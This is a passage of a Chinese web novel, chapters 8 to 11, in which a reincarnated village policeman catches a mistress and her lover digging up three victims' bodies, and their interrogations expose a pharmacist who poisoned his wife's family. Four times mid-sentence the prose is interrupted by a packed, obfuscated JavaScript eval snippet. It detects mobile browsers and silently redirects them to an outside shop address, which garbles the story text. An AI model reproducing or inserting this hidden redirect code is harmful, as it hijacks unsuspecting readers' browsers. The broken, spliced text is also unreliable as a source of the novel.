“不,不是的!”丁敬山奋力的挣扎了起来,手腕上的手铐因为他的动作不断的发出刺耳的声音。 他脸上的肥肉剧烈地抖动着,眼睛瞪得滚圆:“我不是懦夫!我不是!你不懂,你根本不懂我经历了什么!你知道被人叫野种的滋味吗?你知道……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534027|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可赵朗却已经懒得和他废话了,他没有再看丁敬山一眼,径直走出了审讯室:“先把人押下去吧。” “我坦白了的!你们说的,坦白从宽,抗拒从严……” 丁敬山被两名公安从审讯椅上解下来,一左一右的架着胳膊往外走,他拼命地扭过头,死死地盯着走廊尽头赵朗快要消失的背影:“告诉我,我不会被判死刑的,对不对?!你告诉我啊!” 可回答他的,却只有赵朗无声的叹息。 丁敬山连害八条人命,为了调查这个案子,省厅专门成立了专案组,调查了这么久,耗费了那么多的精力…… 法律不会再给他任何一次机会,他必死无疑。 不过至于具体要怎么审判,那就是法院的事了,不是他一个刑侦队长该操心的。 把人移交以后,赵朗再次带人来到了城关镇派出所。 胡国庆乐呵呵地冲章政霖招了招手:“小章,快来快来。” 等到章政霖走到近前,赵朗伸出手,用了一个比较正式的称呼:“章政霖同志。” 章政霖握住了他的手,眼神肃穆:“赵队长。” 赵朗也没有卖关子,直接递过来了一个厚厚的信封:“鉴于你在此次抓捕犯罪嫌疑人丁敬山的过程中,表现英勇,反应机敏,成功协助我局侦破四年前的连环杀人案,经滨江市公安局党/委研究决定,给予你通报表扬,并颁发奖金人民币三千元。” 这个时候的三千块钱,可不是一笔小数目。 但章政霖有足够的配得感,毕竟这人确实是他抓的,他毫不犹豫的把信封接了过来:“谢谢领导,谢谢组织。” “另外,你抓的那几个人贩子,陆陆续续吐出了不少东西,这条线说不定还能再钓出大鱼来,”赵朗拍了拍章政霖的肩膀,一副看好他的模样:“好好干,年末的时候,说不定能给你排个三等功。” 章政霖轻轻点头:“好。” 下班以后,他请派出所的人到国营饭店去搓了一顿,顺便打包了几个菜,准备给奶奶带回去。 吃饱喝足,章政霖再次骑上自行车,来到了城关镇西南方向的小广场。 最近一段时间,每天下班以后他都会来这里转一转,目前已经把白玲的情况打听的差不多了。 白玲是在五年前搬到这里住的,四年前生了一个儿子,她一个年轻的姑娘,也没有工作,但日常的生活却很是精致,周围的邻居都猜她可能是哪个有钱人家的二奶。 也有人看到偶尔会有一个男的来找白铃,大家怀疑那个人就是白玲的相好,但是白玲却咬死了说那个人只是她的哥哥。 章政霖合理怀疑这个人就是刘振华,五年前之所以把白玲安排在这里,就是因为白玲怀孕了。 只不过现在还没有被他抓到现行。 但有时候就是这么巧,章政霖刚到广场附近,就看到白玲急匆匆的抱着儿子往家的方向走去了。 章政霖的眉头微微动了一下,跟了上去。 紧接着,一个浑身上下都包裹的很严实的男人出现在了章政霖的视野里。 虽然男人只露了一个眼睛在外面,可他头顶上之前就已经出现过的血字却在提醒着章政霖。 这个人,就是刘振华。 8. 第 8 章 得益于前世特警的经验,章政霖悄无声息的跟了上去,且没有被发现。 白玲住的那栋楼在小广场东边的巷子里,章政霖绕到了楼的后面,通过一根从地面通向楼顶的雨水管,翻了上去。 屋子里,刘振华一进来就摘下了帽子和口罩。 他的脸上没有了之前诊室里那副笑眯眯的表情,浑身上下都带着一股冷意:“不是跟你说了,最近一段时间不要联系我吗?” 虽然案子已经过去三年多快四年了,但刘振华始终都没有放松过警惕。 前段时间,那个小公安在卫生所向护士打听他的事,说想要给他介绍对象的事情,他回去翻来覆去的想了一整晚,越想越觉得不对劲。 一个刚来城关镇几天的公安,跟他素不相识,为什么突然要给他介绍对象? 刘振华那也是的觉得和公安扯上关系不是什么好事,不管那个小公安是出于什么目的。 所以他找人给白玲留了信,让他们最近一段时间不要联系了。 可白灵却仿佛是催命似的,非要催着见面。 章政霖伏在窗台上,静静的听着屋里的动静。 刘振华难得的有些压不住怒火:“万一要是被发现,我们俩都得去蹲大狱,你就不能为你的儿子想想?!” 白玲一瞬间也来了脾气:“你也知道是你儿子啊?” “你老婆在的时候,你把我们扔在这,不管不顾,”她瞪着一双眼,又委屈又愤怒:“你老婆都死了这么多年了,你到底什么时候能给我和儿子一个家?” 说着说着,白玲的声音里面带上了哭腔:“你知道别人背地里别人都说什么吗?他们说儿子是野种,说我是外面养的破鞋,你自己觉得好听吗?!” “我不是那个意思,”刘振华叹了一口气,声音软化了一些:“我这不也是为了你们母子好吗?你说万一我出了事,你们怎么办?谁养你们啊?” 他低下头,在白玲的额头上轻轻碰了一下:“说吧,找我什么事?” 被刘振华这几句软话一哄,白玲的那股火气已经消了大半:“最近有一段时间,有人朝邻居打探我的情况,问东问西的……” 她顿了顿,眉头微微拧了一下:“我这不是觉得有问题嘛,心里不踏实,才急着找你商量。” 刘振华顿时觉得头都大了:“你是不是蠢?!” “有人找你打探情况,你还叫我过来,”他咬牙切齿的说:“这不是上赶着给人家送把柄?” 白玲撇了撇嘴,一副不以为然的样子:“哪有这么巧的事情?” 刘振华气得太阳穴都在突突地跳:“没有这么巧的事?万一打听消息的是公安呢?” 白玲依旧毫不在乎:“三年前那些公安都没有查到我这边来,现在还能查到了?都过去多少年了,谁还记得这档子事?也就你自己还在这杯弓蛇影的。” 刘振华觉得自己跟白玲简直无法沟通,他冷着声音说:“你最近最好给我安分一点,好好过你的日子,否则……别怪我不留情面。” 白玲原本消下去的火气又起来了:“行啊,我好好过日子,我带着儿子再找一个男人去,我让我儿子叫别人爸!” 刘振华的脸色一下子就变了,她将白玲压在了床上,一双眼睛直勾勾的瞪着她:“你敢!” 白玲毫不犹豫的瞪了回去:“你看我敢不敢!” 紧接着,两个人突然就开始了一番生命大和谐。 章政霖实在是有些没眼看,翻身跳下了房顶。 他知道自己最近一段时间的问询肯定会引起白玲的注意,但这并不是失误,而是他故意为之。 他需要白玲感到不安,需要她去联系刘振华,需要他们在慌张之下做出一些事情。 打草惊蛇,从来都不是为了吓跑蛇,而是为了让它从藏身的洞穴里爬出来,爬到他的视野里,爬到他能伸手抓住它的地方…… 等到一切安静了,章政霖再次翻上了窗台。 屋子里已经收拾好了,白玲靠在床头,脸颊上还带着没退干净的潮红:“你到底什么时候给我个名分啊?” “快了,”刘振华抽了一口事后烟:“我那老丈人坚持不了多久了,等他死了,我就娶你回家。” “这个老不死的,”白玲咬着后槽牙,从齿缝里挤出几句话:“当初就该直接弄死他,现在瘫在床上,还要人照顾,烦死了。” 刘振华从鼻腔里哼了一声:“你觉得他们要是全死了,还能有我们现在的好日子吗?” 两人又腻歪了一会,刘振华起身穿衣:“我就先走了,你不要轻举妄动,最近来调查的很有可能是公安,可千万不能被人抓住把柄。” “知道了,知道了……” 伴随着房门被关上的刹那间,白玲上了娇羞彻底消失不见,反而转为了一股浓烈的厌恶。 “该死的刘振华,胆小如鼠,畏首畏尾,”白玲坐在客厅的椅子上,不断的骂骂咧咧:“老娘跟了他这么多年,耗费了多少青春,到头来半点好处都没捞着,连个名分都他妈不给……” 就在这个时候,房门突然被敲响了。 “咚——咚咚——” 一声长两声短,仿佛是在对着什么暗号似的。 白玲心下一喜,赶忙去开了门:“你个死鬼……” 推门而入的是个年轻的男人,他一把揽着白玲的腰,直接对着那张喋喋不休的嘴唇给吻了下去,把她所有的话语都给一并吞没了:“那个老男人怎么说?” “还能怎么说?就是那老三样,”白玲声音发嗲,有些气鼓鼓的:“也不知道什么时候能让咱们儿子能有个正大光明的身份。” 男人的嘴角弯了一下,直接把白玲给抱了起来:“我儿子睡了吗?” 白玲的拳头轻轻拍打在他的胸口:“睡着有一会儿了。” 男人笑着:“要不咱们给儿子再生个妹妹吧?” 白玲翻了个大大的白眼:“养得起吗你?” “不是有刘振华那老东西?”男人一边脱白玲的衣服,一边用手在她身上到处点:“他刚才碰你哪了?这儿?还是这儿?” “哎呀……哪有你这样的?”白玲的声音从被子后面传出来,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534028|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种欲拒还迎的嗔怪。 面对又一次上演生命大和谐的章政霖:…… 这些人真的没有别的事情做了吗? 结束以后,白玲的声音恢复了正常的语调:“最近有人盯上我了,刘振华那个怂货让我不要轻举妄动,但我总感觉不对劲,我们是不是得做点什么?” 男人啧了啧嘴:“要不然,我们把尸体转移了吧?” “只要找不着尸体,就算他是公安,又能拿我们怎么办?” 白玲觉得非常的有道理:“你说的对,但什么时候动手呢?” 男人思索了片刻:“半夜一点吧,那个时候大家伙都睡了,也不会惊动人。” 章政霖低头看了一下手腕上的手表,现在的时间是八点十五分,距离半夜一点还有将近五个小时。 足够了。 章政霖没有什么听墙角的癖好,他干脆利落的从窗台上翻了下来,骑上自行车回了家。 陈秀英老早的就在村口守着了,看到章政霖的自行车,她立刻迎了上来:“你怎么回来的一天比一天晚了?” 章政霖推着车和奶奶并肩走:“最近工作有点忙。” 陈秀英没有多想,她说话的语气里带着几分过来人的朴素味道:“忙点也好,你踏实肯干,领导才能赏识你,年轻人不怕忙,怕的是闲,闲了就废了。” 奶奶不知道光靠踏实肯干是没有用的,但是章政霖也没有解释。 他把从国营饭店打包的饭菜拿了出来,一样一样的在桌子上摆好:“今天和所里的兄弟们一起去吃饭,专门给你带的。” 陈秀英看着那炖的软烂的,非常适合她这个年纪牙口的饭菜,笑得眼角的皱纹都挤在了一起:“给我带什么呀?这么好的东西,给我个老婆子吃,简直就是糟蹋了。” “哪里是糟蹋?”章政霖把筷子递过去,反驳道:“您辛苦了一辈子,吃点好的怎么了?这都是应该的。” 陈秀英没有再推辞,她接过筷子,往嘴里塞了一口猪肉炖粉条,肉炖得很烂,几乎不用怎么嚼就在嘴里化开了,油汪汪的,香得她眼睛都眯了起来。 “霖霖长大了,”陈秀英咽下嘴里的东西,抬起头看着章政霖,眼睛里有亮晶晶的东西在闪:“知道疼奶奶了。” 章政霖张了张嘴,想说点什么,但最终什么也没说出来,只是轻轻地点了一下头,嘴角弯了一个很小的弧度。 这个时候没有什么手机电脑,农村人一般吃完晚饭就直接睡觉了,章政霖看着奶奶睡着了,便关了灯,再次骑上自行车返回了城关镇。 赵明来到这个小小的派出所上班,是来锻炼的,家里给他在镇子上租了个房子,离派出所也不远。 章政霖直接敲开了他的门。 赵明此时都已经睡下了,有些迷迷瞪瞪的:“这大半夜的,你干啥呀?” 章政霖看着他这副没睡醒的样子,突然来了个恶趣味:“去偷人。” 毕竟……挖尸体也算是偷人的一种嘛。 果不其然,赵明的瞌睡瞬间就被吓跑了,眼睛瞪得大大的:“你说啥?!” 9. 第 9 章 章政霖看着赵明那张被震惊和慌张填满了的脸,嘴角微微弯了一下:“现在清醒了吗?” 赵明哪还能不清醒啊,他觉得现在更需要清醒一点的反而是章政霖:“这种事情咱可不能做啊,你现在是一名党员……” 他的嘴一张一合,叭叭叭地说个不停,从党员的责任,人民公仆不能干违法乱纪的事情一直说到了人民公安的使命。 章政霖面带微笑的看着他,单手插在兜里,姿态松散。 直到赵明说累了,一拳捶在了章政霖的肩膀上:“我和你认真的说话呢,你到底听到没有?” 章政霖脸上的表情很是敷衍:“听见了,听见了。” 赵明的后槽牙都要咬碎了,就在他还想要再说什么的时候,章政霖已经抬脚朝外面走了出去。 赵朗瞳孔震颤:“你真要去偷人啊?” 停在白玲所住的小楼下面,章政霖指着三楼一间亮灯的窗户:“看见了么?” “看见了,看见了,”赵明点了点头,然后继续开始说教:“但是我跟你说啊,这种不利于团结的事情咱们可不能做……” 片刻之后,那扇窗户内的灯光被熄灭了,一阵脚步声从楼上传来,楼梯口出现了走在一起的一男一女。 女的就是白玲,男的高高瘦瘦的,穿着一件深色的夹克,拉链拉到了最上面,领子竖了起来,遮住了半边脸。 他一只手拎着一把铁锹,另一只手里还提着一个蛇皮袋。 与此同时,章政霖也瞧见了男人头顶的血字。 【欧生】 【男】 【28岁】 【1986-1990年间,包庇白玲,刘振华】 赵明看着他们手里的工具,只觉得一股不祥的预感涌上了心头:“他们这是要干啥去?要挖什么?” 章政霖实话实说:“挖尸体。” 赵明一整个大为震惊,嘴巴张的几乎都能够塞下一个鸡蛋了:“挖谁的尸体?” 章政霖轻声回答:“杜美玲,杜思瑜和谢名瑛。” 赵明整个人都要傻了,一连串的问题,从嘴里面不断的吐露出来:“你前几天问我的那个失踪案?她们都已经死了?尸体在哪里?” “你问我?”章政霖有些诧异的看着赵明:“人又不是我杀的,我怎么知道?” 赵明大张着嘴巴,空气在里面不断的进进出出:“那我们盯着他们干什么?” 但还不等章政霖回答,他突然恍然大悟:“难不成……他们就是凶手?” “帮凶。”章政霖纠正了一下。 “怪不得……”赵明喃喃的说:“怪不得你最近上班的时候老是无精打采的,我还以为你晚上没睡好,原来你是天天晚上都来盯着他们了?你是怎么查到的呀?” 章政霖依旧选择了之前编造的理由:“当时觉得刘振华不对劲,跟踪他发现的。” 赵明举起右手,竖起了大拇指:“你这直觉,真的是绝了。” 两个人说话间,欧生和白玲已经上了一辆灰色的桑塔纳,准备开走。 章政霖见状,立刻就准备蹬着自行车追上去。 赵明看了看远处那辆桑塔纳,又瞧了一眼面前的自行车,脸上浮现出了一丝犹豫:“你认真的吗?” 章政霖已经跨上了车:“快点的吧,别一会儿追不上了。” 倒也不是他自讨苦吃,主要是用车子目标太大,容易被发现,自行车悄无声息的,很适合追踪。 但有一个问题,就是他们必须要蹬的快一点,否则很容易被甩开。 赵明咬了咬牙,只能认命的抓过自己的车子,两条腿用力的蹬了起来。 灰色的桑塔纳一路向前,驶出了镇子,驶上了通往远处山林的土路。 山路不好走,一会上坡一会下坡的,赵明累得气喘吁吁,嗓子眼儿里仿佛被人装了个哑了的哨子似的,不停的嘶哑着。 他感觉自己的两条腿都快要不是自己的了,膝盖以上的部分还勉强能听使唤,膝盖以下完全变成了两根没有知觉的木棍,只是机械的一下一下地往下踩着。 “你这不行啊,”章政霖的声音从前面飘过来,被风吹得有些散,但还是能听出他语气里那一丝不大厚道的笑意:“还得练练。” 赵明想骂他。 他想说:“你他么骑了一辆破自行车追了一晚上的汽车,你还好意思说。” 谁家好人这么追车啊?! 可他的嗓子又干又涩,根本发不出什么声音来,他只能瞪着章政霖的后脑勺,继续没命的蹬着脚踏子。 桑塔纳在山路上行驶了将近两个小时,周围的树木变的越来越茂盛,脚下的路都有些看不清了,只有清冷的月光洒下一点光辉,照着前面的车灯。 终于,桑塔纳停了下来。 赵明早就已经坚持不住了,现在完全就是靠着一股子毅力在支撑。 一看到前面的车停了,他一把丢掉了自行车,直接呈大字形瘫在了落叶堆里。 “不……不行了……”他大口大口的喘着粗气,一句话说的断断续续的:“我要死了……” 章政霖也累,双腿一阵阵的发酸。 他穿越过来以后,一直没有停止对这具身体的训练,可原主的底子太薄了,再怎么练,短短几天也不可能赶上他前世十几年的打磨。 章政霖歇了一会儿,等到自己的呼吸平复了一些,走到赵明的面前,伸出右手:“先起来吧,躺着对身体不好。” 赵明也不是什么不知好歹的人,他抓着章政霖的手腕,借着他的力道从地上站了起来。 但他的两条腿依旧在打颤,只能找一棵树靠着,才勉强站立。 章政霖递给他一个军用水壶:“喝点水吧,润润嗓子。” 赵明接过来猛猛的灌了好几大口水,终于觉得自己活过来了。 他看着从桑塔纳上下来的两个人,疑惑道:“他们是怎么找到这个破地方的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534029|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章政霖摇了摇头,没有说话。 毕竟是杀人埋尸,总要埋在一个僻静点的地方。 欧生和白玲一路开着车,半点不累,现在已经着手挖起来了。 赵明还在喘着粗气,脸上有几分忧虑:“现在怎么办?要过去阻止吗?” 章政霖的目光落在那两人的身上,没有移开:“等一等,等他们把尸体挖出来了再说。” “可是……”赵明皱了皱眉头,带着几分疑惑不解:“万一他们破坏了尸体怎么办?” 这三个人的尸体埋在这里三年多,恐怕早就已经白骨化了,这小地方连个法医都没有,再破坏也破坏不到哪去。 章政霖不紧不慢的说道:“已经被我们抓了个现行,他们还能如何抵赖?” “而且……”他指了指赵明依旧瘫软的如同面条一样的双腿:“现在上去,你确保能抓得住他们两个人吗,万一被跑掉了怎么办?” 即便再不想承认自己不行,赵明也不敢逞这个能,万一他冲上去,腿一软栽了个跟头,让那两个人跑了一个,这责任他可担不起。 他扶着树,点了点头:“那就先歇一会儿吧。” 趁着那两个人辛苦努力的时候,他们正好可以恢复体力。 “他娘的……”欧生把铁锹从土里拔出来,甩掉锹头上黏重的湿泥,狠狠的骂了一句:“刘振华那个老东西当初究竟是怎么埋的尸体?” 白玲被震的两条手臂都有些发麻了,委委屈屈的说:“刘振华当时都没怎么让我动手……” “是我让你受委屈了,”欧生满脸的心疼,可那表情却只是浮于表面:“你坐着休息一会儿,我来吧。” 欧生只是一句客套话,可白玲却真的坐在一旁,干看着不动手了。 欧生没说什么,转过身去继续挖坑,心里却呕得几乎要死。 这么一个蠢笨如猪的女人,要不是看在她能给自己弄点钱的份上,他早就跑了。 每次和这个女人做完那种亲密的事情,他都要恶心的好几天睡不下觉。 还有那个所谓的儿子,刘振华那个老男人睡了她那么久,鬼知道那究竟是谁的种。 欧生哼哧哼哧的花了许久的时间,才终于把埋下去的三具尸骨全部都给挖了出来。 他一屁股坐在土堆上,不停的喘着粗气,看着在旁边悠哉悠哉白玲,敛下了神色:“过来帮下忙吧。” 白玲确实也挺无聊的,再加上装个尸体也费不上什么劲,她弯着眼睛,笑意盈盈的说:“辛苦老公了。” 就在这个时候,她的耳边突然传来了一道陌生的男音:“的确辛苦了。” “谁?!”白玲一个激灵,吓得心脏都快要跳出来了。 一扭头,一道手电筒的光束照在了他们的身上,将他们惊恐的表情照得一清二楚。 章政霖歪着脑袋,好整以暇的看着他们,不紧不慢的说道:“你们猜的没错,确实是……被公安盯上了哦~” 10. 第 10 章 欧生的第一反应就是逃跑。 他扔下了手里的工具,也抛下了白玲,拿出了此生最快的速度,奔向了那辆灰色的桑塔纳。 快一点,再快一点。 跑到车上,发动车子,开出去,他们就追不上了。 可刚才挖那三具尸骨耗费了欧生太多的体力,他根本跑不快,而章政霖歇了这么半天,体力正处于巅峰状态。 欧生看到在月光的照耀下,一个黑色的影子和他的影子重叠在了一起,紧接着后背一股巨力袭来,他便彻底的失去了平衡。 他甚至都还来不及喊疼,一只手就已经按住了他的后脑勺,将他的脸死死地压在了泥土里。 章政霖将他的双手反剪在身后,给他铐上了手铐。 同一时间,赵明也把白玲给抓住了,他喘着粗气,但却满脸的兴奋:“还想往哪儿跑?” 白玲张嘴就开始喊冤:“不是我杀的人,我只是过来转移尸体的,你们抓错人了,呜呜呜……” 赵明把她从地上提起来:“抓错人了?那你说,凶手是谁?” 白玲还没有说话呢,欧生就迫不及待的交代了:“刘振华!是刘振华!” “这一家三口,全部都是刘振华杀的,跟我没有半点关系呀……”欧生的声音打着颤,觉得自己可太委屈了:“我只知道他把尸体埋在这儿了,我没有杀人,真的,公安同志,求您明鉴啊……” 章政霖看着他那张因为求生的本能而变的有些扭曲的脸:“行,就算你说的是真的,但是你也要跟我们去派出所走一趟,作为证人,把你知道的都说出来。” 欧生的脑袋点的跟小鸡啄米似的:“我作证,我作证,我保证我说的每一句话都是真的,公安同志,您放心,我这个人最老实了,从来都不撒谎的。” 章政霖瞥了他一眼,没说话,反手将他和白玲两个人都提上了那辆灰色的桑塔纳。 在章政霖和赵明搬运尸体的时候,白玲和欧生两个人突然开始狗咬狗了起来。 “你个蠢娘们!”欧生满脸愤愤地看着白玲:“刘振华都说了,让你不要轻举妄动,不要轻举妄动!你偏不听,现在好了,我们俩都被抓了,你就等着吃牢饭吧你!” “转移尸体不是你提出来的?”白玲猛地转过身来,目光如刀子一样:“尸体不是你挖的?铁锹不是你拿的?我要吃牢饭,你以为你跑得掉?” 她深吸了一口气:“现在只有把刘振华拉下水,我们才能活命,想想我们的儿子……” 欧生思索再三,终究还是乖乖的闭上了嘴巴。 倒不是他有多么的在意那个孩子,只是白玲说的确实有道理,他们两个必须要团结一心,把所有的责任都推到刘振华的身上去。 所有的东西都准备好了,准备出发的时候,赵明却突然有些尬住:“那个……我不会开车啊……” 总不能让两个犯罪嫌疑人把车子开回去吧? 章政霖拉开车门,弯腰坐进了驾驶座,检查了一下座椅和方向盘:“没事,我会开。” 赵明诧异的眨了眨眼睛:“你竟然学过开车?” 章政霖随口道:“以前上学的时候开过同学的。” 车子缓缓地驶出了那片树林,等到了镇子上的时候,天都已经快亮了。 章政霖让赵明先去眯一会,自己则是等着胡所长他们来上班。 小地方的派出所连个审问室也没有,为了防止欧生和白玲串供,章政霖把他们分别关在了问询室和接待室里。 他瞧着赵明困的眼睛都快要睁不开的样子:“你先去眯一会儿吧,等胡所他们来上班了,还有的忙。” 赵明也确实是累的不行,他点了点头:“行,我先去小睡一会,到时候再换你。” 随着时间的推移,派出所的同志们陆陆续续的来上班了。 章政霖一直守到现在,顶着两个大大的黑眼圈,像个大熊猫似的。 “啧,”胡国庆非常不赞同的看了他一眼:“赶紧休息去,身体才是革命的本钱,知道不?剩下的事情有我在这顶着呢。” 章政霖没有推辞,在胡国庆办公室的小沙发上闭上了眼。 其他人则是问询起了欧生和白玲。 欧生对于杀人的过程一概不知,就连埋尸在哪里都是白玲告诉他的,他一开始还算配合,但是当问到他和刘振华的关系的时候,他却有些支支吾吾了起来。 这个时候,基层派出所的公安们没有多少审讯手段,问询的公安一拍桌子,大吼了两声:“问你话呢,你和刘振华是什么关系?!再不老实交代……” 欧生就是个窝里横,平常怂的很,公安的声音大了一点,他立马就怕了:“我说,我说……” “刘振华……其实他都不知道有我这个人。” 那名公安挑了挑眉毛:“什么个情况?” 欧生迟疑着:“这就说来话长了……” 公安沉下脸来:“那就从头说。” “我和白玲,是从小一块长大的,”欧生微微垂下了头,一点一点的思索着:“十几岁的时候,我们就在一块处对象了……” 但年少时轰轰烈烈的感情,终究还是被现实压垮了,欧生喉结滚动了一下,满脸的苦涩:“穷这个病啊,一辈子都医不好的。” 分手以后,白玲去了市里打工,欧生则是留在了村子里,继续浑浑噩噩。 一次偶然的机会,两个人又在市里相遇了,这时的白玲变得好看了许多,就连说话的语气都有些不同了。 此时他才知道,白玲做了刘振华的二奶。 因为是入赘的,所以刘振华从始至终都在夹着尾巴做人,对谁都是笑眯眯的。 可实际上的他自私自利,为了达成目的,什么都可以牺牲,什么都可以抛弃。 刘振华的家里穷得叮当响,他之所以能够一路念到大学出来,靠的是前面六个姐姐嫁出去获得的彩礼,他牺牲了六个姐姐的幸福,为自己铺就了一条康庄大道。 他极端的大男子主义,骨子里面就透露着自私薄凉,且迫切的想要生个儿子,传宗接代。 可不幸的是,他的老婆杜美玲在生下女儿以后伤了身体,再也没有办法怀孕了。 刘振华嘴上说着他们有一个女儿就够了,可却背地里包养了白玲。 他甚至无比直白的跟白玲说:“你只要能给我生个儿子,我立马就给你一万块钱。” 白玲会笑,会撒娇,会在他面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534030|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头。 刘振华觉得自己在白玲这里找回了作为男人的尊严,甚至可以短暂的忘却自己赘婿的身份。 所以他对白玲向来大方。 可白玲在有了充足的物质生活以后,却又对精神世界欲求不满了。 因此,在和欧生重逢之后,两个人立马就天雷动地火的勾搭在了一起。 没过多久,白玲发现自己怀孕了,刘振华为了让她好好的养胎,也为了不被自己的老婆和老丈人发现,就把白玲安置在了镇子里。 欧生自然也就跟着一块来了。 有一天他像往常一样的来找白玲,却发现她的情况不对劲,仔细询问之下才知道,刘振华把杜美玲母女三人全部都给杀了。 “人真的不是我杀的,”欧生满眼期待的看着面前的公安:“我已经全部都交代了,现在可以放我走了吧?” “你想多了,”公安收起了笔录纸,居高临下的看了他一眼:“你知情不报,故意隐瞒,甚至还想转移尸体,都是犯法的。” “让我出去,我都交代了,放我出去!” 问询室的门被关了起来,把欧生低沉的嘶吼声彻底的隔绝在了里面。 隔壁的接待室里,所长胡国庆亲自审问了白玲。 “我就是一个普通的女人,被刘振华那个渣男给骗了而已……”白玲哭哭啼啼的,满脸泪花,把自己塑造得无比的无辜。 但胡国庆大风大浪见多了,根本不吃她这一套:“你再不老实交代,就只能从重处罚了。” “你和欧生两个人挖尸体被我们的同志抓了个现行,如果没有其他的证据,你们俩就是杀人凶手!” “不是不是,我没有杀人!”白玲的脑袋摇的跟个拨浪鼓似的,她一把擦掉了脸上的泪痕,努力的回忆着案发当天的情况:“那天早上我刚起床,还没来得及洗漱,就听到有人敲门……” 她才把门开了一个缝隙,刘振华的老婆杜美玲,丈母娘还有女儿,就迫不及待的闯了进来。 杜美玲抓着她的头发,劈头盖脸就是一顿打:“你个不要脸的!勾引我老公,我打死你!” 白玲当时都快要吓傻了,她还怀着孩子呢,肚子里的孩子是个宝贝金疙瘩,可不能出事。 双拳难敌四腿,面对三个女人的围殴,白玲只能死死的护着肚子。 但幸好没多久,刘振华就来了。 他又是下跪认错,又是磕头道歉的,好不容易才安抚住了杜美玲。 紧接着他就去了厨房倒水,那态度别提一个恭敬:“老婆,妈,你们喝口水润润嗓子,就算有再大的气,也不要跟身体过不去啊。” 白玲看到刘振华没有给自己倒水,还想要耍小性子,但她又不敢,就只能气鼓鼓的自己给自己倒。 可没想到,没过多久,喝了水的三个人突然就倒在了地上。 她们捂住自己的喉咙,眼睛瞪得很大很大,嘴巴张着,似乎想要喊救命,可却发不出任何的声音。 她们的四肢扭曲着,身体痉挛着,莫大的痛苦让五官欧生都有些变形了。 刘振华就那样静静的看着,等到她们彻底不动弹了,他突然又笑了:“死吧,都死吧……你们死了,我就解脱了……” 11. 第 11 章 看着倒在地上的三个人狰狞又扭曲的脸,白玲人都有些傻了:“她……她们……” 刘振华满脸阴鸷的看着她:“死了,全部都死了。” 白玲感觉自己的脑子里面有什么东西轰的一下子炸开了,炸得她头晕目眩的,发不出半点声音。 刘振华却在此时突然把她搂进了怀里,他的胸膛很厚实,他的怀抱也很温暖。 可白玲却觉得无比的冷,冷的她浑身上下的骨头都在打颤。 刘振华温热的呼吸喷洒在她的耳边,伴随着阵阵低语,如同恶魔的呢喃:“不要怕,她们都死了,没有人能够压制我了,只要你乖乖的,把肚子里的孩子生下来,我们一家三口,就能很幸福地生活在一起了。” 白玲没上过什么学,没有半点法律意识,刘振华说什么就是什么。 所以她跟着他,一起把尸体搬到了车上,到山里面找了个没人的地方给埋了。 埋完之后,刘振华的手指摩挲着她的脸,一字一句的说:“你现在是帮凶了,你若是敢把这些事情说出去,到时候你就要陪着我一块儿蹲大狱。” “都是他逼我的,我也不想的呀……”问询室里,白玲泪眼朦胧:“他连自己的老婆孩子都能杀,我要是不帮他一块埋尸体,他万一哪天把我也给毒死了怎么办?” “我理解你的心情,”胡国庆点了点头:“你先在这休息吧。” 审讯结束的时候,章政霖和赵明也都睡醒了。 赵明兴致冲冲的问胡国庆:“胡所,我们什么时候把这个案子报告给我哥呀?他们市局要是知道了,肯定得……” 胡国庆若有所思道:“不着急,我们先自己查。” 说实话,只要是个人他就会有私心,包括他自己。 他在派出所所长的这个位置上已经坐了很长一段时间了,已经到达了他的能力顶峰,再想往上升,可不是一般的困难。 但章政霖让他看到了新的可能。 这样一个当时市里面都只以为是失踪的案子,他们查出来是涉及三条人命的命案,甚至还把凶手给抓住了…… 他现在才五十岁,正是要闯的年纪。 他想要去够一够那更高的前程。 赵明不懂这些,胡国庆让他怎么做,他就怎么做:“好呀好呀,现在已经有口供了,我们可以直接去卫生所把那个刘振华给抓回来。” 这个年代的刑侦手段不多,基本上都是重口供,轻证据。 